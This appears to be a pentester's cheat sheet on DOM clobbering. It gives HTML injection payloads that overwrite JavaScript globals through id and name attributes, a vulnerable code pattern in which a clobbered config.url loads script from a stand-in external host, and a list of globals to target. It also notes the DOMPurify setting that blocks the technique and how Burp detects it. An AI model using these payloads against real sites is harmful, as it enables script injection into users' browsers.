DOM Clobbering
HTML injection without script execution. Named elements become global variables, so your markup overwrites what the JS expects to find.
The primitive
An element with an id or name lands on window and on document.
<a id=x href="https://oob.tld">window.x // the <a> element
x + '' // "https://oob.tld", toString() gives the href
That last part is what makes it useful: href stringifies, so anywhere the app concatenates the variable into a URL, you control it.
Two-level access
<a id=config><a id=config name=url href="https://oob.tld">config.url + '' // "https://oob.tld"
form gives you named children directly:
<form id=config><input name=url value=x></form>Three levels and beyond
<form id=a><input name=b></form>
<form id=a name=b><input name=c value=x></form>Also useful:
<iframe name=x srcdoc="<a id=y href=...>"> <!-- x.y across the frame -->
<img name=getElementById> <!-- clobber a DOM method -->What to clobber
Grep the JS for globals that are read before they are written:
config settings options window.<app> CONFIG
scriptUrl baseUrl apiUrl cdnHost endpoint
sanitizer DOMPurify policy allowlist
defaultAvatar redirectTo returnUrl callback// classic vulnerable shape
var url = window.config && window.config.url || '/default.js';
script.src = url;<a id=config><a id=config name=url href="https://oob.tld/x.js">Filters that don’t stop it
Sanitizers strip <script> and on* handlers but usually keep id, name, <a> and <form>. DOMPurify allows all of them by default. Clobbering is the standard way to turn “sanitized HTML injection” into a real finding.
SANITIZE_NAMED_PROPS: true is the DOMPurify option that fixes it; note whether it is set when you report.
Finding it
Burp > DOM Invader > enable "DOM clobbering"It reports the clobberable globals on the page and the sink each one reaches.